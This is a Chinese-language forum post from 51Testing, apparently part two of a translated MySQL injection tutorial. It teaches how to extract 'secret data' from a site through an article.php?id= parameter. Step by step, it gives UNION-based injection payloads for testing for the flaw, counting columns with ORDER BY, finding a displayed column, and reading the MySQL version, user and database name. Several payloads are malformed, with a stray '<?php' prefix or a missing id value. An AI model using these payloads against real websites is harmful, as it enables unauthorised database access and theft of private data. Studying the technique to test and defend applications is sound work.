51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

手机号码,快捷登录

查看: 1411|回复: 0
打印 上一主题 下一主题

mysql注入2

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2019-2-1 15:47:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0x05 ~ 获得秘密的数据
SQL注入本质上不是为了绕过登录,而是用于访问数据库服务器中的敏感和秘密数据。 这部分很长,所以我将在小节中讨论。
#0x05.a~检查漏洞
假设你有一个网站:
<?phpsite.com/article.php?id=5
现在要检查它是否容易受到攻击,你只需添加'到底,即分配了id变量。
所以,它是:
<?phpsite.com/article.php?id=5'
现在,如果站点不易受攻击,则会过滤并正常加载页面。但是,如果它不过滤查询字符串,它将给出如下错误:“第5行的Article.php中的'5''MySQL语法错误。”或者是错误,说我们检查正确的MySQL版本或MySQL Fetch错误或有时只是空白页面。 错误可能是任何形式。 因此,它确保该网站易受攻击。
只是使用'可能不是肯定的测试; 所以你可以尝试不同的东西,比如:
<?phpsite.com/article.php?id=5+union+select+1--  
如果你得到这个错误,你再次知道它的弱点...只是尝试不同的东西..
#0x05.b~查找列数
所以,现在是时候找到列数了。 为此,我们将使用'order by'直到我们收到错误。
也就是说,我们将URL查询设为:
<?phpsite.com/article.php?id=5+order+by+1/*  
这没有给出错误。
现在,我确实把它增加到2:
<?phpsite.com/article.php?id=5+order+by+2/*  
仍然没有错误
所以,我们需要增加,直到我们得到错误。
在我的例子中,当我输入值3时出现错误,即:
<?phpsite.com/article.php?id=5+order+by+3/*  
这反馈给了我错误。
因此,这意味着当前表中有2列(3 - 1 = 2)。 这就是我们找到列数的方式。
#0x05.c~解决弱势部分
现在,我们需要使用union语句并找到我们可以替换的列,以便在页面上查看秘密数据。
首先让我们设计一个不会出错的union语句。这就像这样:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+null/*
这会出错,因为我们的查询需要在那里再有一个null。而且null不会导致任何类型转换错误,因为它只是null。
因此,对于我们的注射,它变成:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+null,null/*
为此我们做:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+1,2/*
现在我们将看到页面上的数字。 我的意思是,页面上可以看到1或2或1和2。 请注意,数字可以显示在页面标题中的任何位置,有时甚至可以显示在源代码中的隐藏标记中。因此,这意味着我们可以使用命令替换数字以显示数据库保存的私有数据。
在我的例子中,页面上显示1。 这意味着,我应该用我的东西替换1继续进行。 得到它了? 所以让我们前进吧。
快速注意:有时可能无法显示数字,因此您很难找到可用于窃取数据的列。因此,在这种情况下,您可以尝试以下内容:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+xenu,null/*
或者
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+null,xenu/*  
如果xenu显示在页面的某个位置,你可以进一步注射替换文本部分......在这里,我保留文本而不是整数来检查是否显示文本...另外,一定要检查源,因为有时他们 可能在一些隐藏的标签中..
#0x05.d~查找MySQL版本
对于我们的注入,有必要找到MySQL版本,因为如果它是5,我们的工作变得容易多了。 要检查版本,有一个函数@@ version或version()。
那么,我们所做的是用@@版替换1(这是可替换的部分),即我们如下所示:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+@@version,2/*  
或者
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+version(),2/*  
因此,这将返回在服务器上运行的MySQL版本。
但是,有时你可能会遇到上述查询错误。 如果是这种情况,请使用unhex(hex())函数,如下所示:
<?phpsite.com/article.php?id=UNION+ALL+SELECT+unhex(hex(@@version)),2/*  
请记住,如果你必须在这里使用unhex(hex())函数,你也必须在以后的注入过程中使用这个函数。
@@版本会给你这个版本。 它可以是4(或更低)或5和更高。 我现在将分别讨论版本5和4的注射过程,正如我之前所说,版本5使我们可以轻松执行注射。
注意:此外,您可以通过以下方式检查用户,数据库等。
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+user(),2/*site.com/article.php?id=5+UNION+ALL+SELECT+database(),2/*  

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-11-9 05:03 , Processed in 0.059922 second(s), 23 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表